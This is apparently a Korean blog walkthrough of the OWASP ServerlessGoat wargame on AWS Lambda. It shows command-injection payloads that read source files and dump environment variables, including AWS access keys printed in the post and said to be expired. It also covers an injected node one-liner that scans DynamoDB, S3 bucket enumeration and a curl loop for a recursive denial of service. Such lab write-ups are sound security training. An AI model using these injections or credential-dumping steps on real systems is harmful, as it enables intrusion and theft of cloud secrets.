[AWS] Serverless Goat 풀이 - 클라우드 모의해킹

1. 들어가기

클라우드에 관심이 높아지면서 클라우드 보안에도 중요성이 강조되고 있다. AWS 프리티어를 이용하여 본인이 직접 환경을 구축해서 실습할 수 있는 워게임이 있어 풀이를 해보았다.

2. 실습 준비

ServerlessGoat는 OWASP에서 제안하는 10가지 클라우드 보안 요소를 집약시켜놓은 Playground이다.

공식 Github는 아래와 같다.

github.com/OWASP/Serverless-Goat

 

OWASP/Serverless-Goat

OWASP ServerlessGoat: a serverless application demonstrating common serverless security flaws - OWASP/Serverless-Goat

github.com

 

AWS사이트에서 제공하는 템플릿을 이용하여 본인의 계정에 구성하여 실습해보고 싶다면 아래의 경로에서 환경을 구축할 수 있다. 경로에 접속하여 'Deploy'를 눌러 손쉽게 환경을 준비할 수 있다.

serverlessrepo.aws.amazon.com/applications/us-east-1/782753031576/appsec-serverless-goat

 

Application Search - AWS Serverless Application Repository

 

serverlessrepo.aws.amazon.com

 

3. 풀이

공식 사이트에서 제공하는 방법대로 환경 구축이 끝났다면 문제를 풀면 된다.

사이트는 URL경로를 입력했을 때 사이트의 내용을 Doc로 변환해주는 기능을 제공한다.

먼저 입력 폼에 Command Injection 또는 에러를 유발하는 임의의 문자열을 입력한다.

L1. Command Injection

https://qwerqwerqwer; 를 파라미터로 입력하여 에러메시지를 확인할 수 있다.

명령 실행 실패로 에러메시지 발생

https://eqfh35ixqj.execute-api.us-east-1.amazonaws.com/Prod/api/convert

L2. Reverse Engineering The Lambda Function

L1에서 시스템 함수의 실행이 가능함을 보였다. 이를 통해 sleep 메소드를 이용하여 쉘 명령어의 실행 결과를 알 수 있다.

1. 파라미터에 정상적인 URL 입력 시 해당 URL의 text를 문서로 변환해준다.

2. https://www.puresec.io/hubfs/document.doc; sleep 1 # 입력 후 전송버튼을 누르면 기능을 수행하지만 일부 왜곡된 텍스트가 반환된다.

3. https://www.puresec.io/hubfs/document.doc; sleep 5000 # 입력 시 설정된 타임아웃값을 초과하므로 에러메시지를 보여준다.

시간 초과로 인한 서버 내부 에러

💡 Lambda 함수는 실행 시간 제한이 설정되어 있다. 기본 값은 3초이며 실행시간이 초과한 경우 서버 내부 에러를 반환한다.

4. https://qwer/; cat /var/task/index.js # 을 실행하여 파일의 내용을 확인한다.

const child_process = require('child_process');
const AWS = require('aws-sdk');
const uuid = require('node-uuid');

async function log(event) {
  const docClient = new AWS.DynamoDB.DocumentClient();
  let requestid = event.requestContext.requestId;
  let ip = event.requestContext.identity.sourceIp;
  let documentUrl = event.queryStringParameters.document_url;

  await docClient.put({
      TableName: process.env.TABLE_NAME,
      Item: {
        'id': requestid,
        'ip': ip,
        'document_url': documentUrl
      }
    }
  ).promise();

}
...

코드를 통해 다음의 정보를 알 수 있다.

  1. AWS DynamoDB를 사용하고 있다.
  2. node-uuid로 불리는 Node.js 패키지를 사용하고 있다.
  3. 민감정보를 DynamoDB 에 저장하고 있다.(IP 주소, Document URL)
  4. OS command injection이 발생하는 원인이 포함되어 있다. - child_process.execSync()
  5. API의 출력은 S3에 저장된다. BUCKET_NAME 환경변수에서 그 이름을 알 수 있다.

L3. 환경변수에서 정보 찾기

1. https://qwerqwerqwer/;env 를 파라미터로 입력

명령어가 실행되므로 환경변수를 확인할 수 있다.

내용 중 AWS_SESSION_TOKEN, AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID 등 확인 가능

AWS_SESSION_TOKEN : IQoJb3JpZ2luX2VjEJT

AWS_SECRET_ACCESS_KEY : +76C4EZaqRYHCFRk8EEKwNAy6FPi4V2qkl2Mx/nv

AWS_ACCESS_KEY_ID : ASIAXKUEMDSSDYMHBFW3

region : us-west-2

(실습을 종료했기 때문에 더이상 이 키와 ID는 유효하지 않다)

2. AWS CLI를 이용하여 접속을 시도한다.

L4. Exploiting Over-Privileged IAM Roles

위의 코드에서 클라이언트의 IP 주소를 수집하여 DB에 저장하고 있음을 확인하였다.

DynamoDB에서의 데이터 저장은 AWS.DynamoDB.DocumentClientput() 메소드를 사용한다.

안전한 시스템에서는 최소권한만을 부여하여 DB를 작성한다. 하지만 개발자는 CRUD가 모두 가능한 권한을 부여하여 DB 정책을 사용하기도 한다. dynamodb의 전체 권한은 다음과 같다.

- dynamodb:GetItem
- dynamodb:DeleteItem
- dynamodb:PutItem
- dynamodb:Scan
- dynamodb:Query
- dynamodb:UpdateItem
- dynamodb:BatchWriteItem
- dynamodb:BatchGetItem
- dynamodb:DescribeTable

위의 권한들은 OS command injection을 통해 실행이 가능하다. dynamodb:Scan을 사용해 본다.

https://; node -e 'const AWS = require("aws-sdk"); (async () => {console.log(await new AWS.DynamoDB.DocumentClient().scan({TableName: process.env.TABLE\_NAME}).promise());})();'

명령 실행 결과

💡 같은 원리를 사용하여 S3 버킷의 내용도 확인할 수 있다.

L5. Abusing Insecure Cloud Configurations

L3에서 확인한 버킷 주소로 URL 직접 접근한다.

http://aws-serverless-repository-serverless-goat-bucket-1mgh0m1xs6ppx.s3.amazonaws.com/

이제 UUID를 URL(파일명)에 연결하여 다른 사용자의 '변환'작업에 속하는 버킷의 다른 파일을 찾아볼 수 있다.

L6. Finding Known Vulnerabilities In Open Source Package

Lambda 함수의 소스 코드를 통해 node-uuid 에 의존성이 있음을 확인하였다.

하지만 uuid 패키지의 버전 정보를 알아야 한다. /var/task 경로에서 ls를 실행한다.

Lambda 실행 환경 경로 파일 출력

cat package.json #

의존성이 포함된 버전 정보 노출

버전 정보가 1.4.3임을 확인할 수 있다. 알아낸 정보를 통해 취약점 공격을 할 수 있다.

L7. Denial of Service

서버리스 환경에서의 DoS 공격을 확인한다. AWS는 AutoScaling 서비스를 통해 자동적으로 요청을 처리한다.

그러나 단일 함수가 전체 계정의 동시성을 보장하려면 '확장 용량'을 사용해야 한다.

DoS 공격을 수행하기 위한 과정은 아래와 같다.

  1. URL을 API 요청 주소로 시작하도록 합니다.
  2. document_URL 을 스스로 선언하고 실행하도록 합니다.
  3. 전체를 복사합니다. 그리고 파라미터 값으로 붙여넣습니다.
  4. 1~3 과정을 5회 반복합니다. 과정을 마치면 매우 긴 URL을 확인할 수 있습니다.

스크립트를 통해 100회 실행시킨다.

for i in {1..100}; do
 echo $i
 curl -L https://{paste_url_here}
done

스크립트가 동작하는 동안 서비스 요청을 수행함에도 응답이 없습니다. 이를 통해 DoS 공격이 가능함을 확인한다.

반응형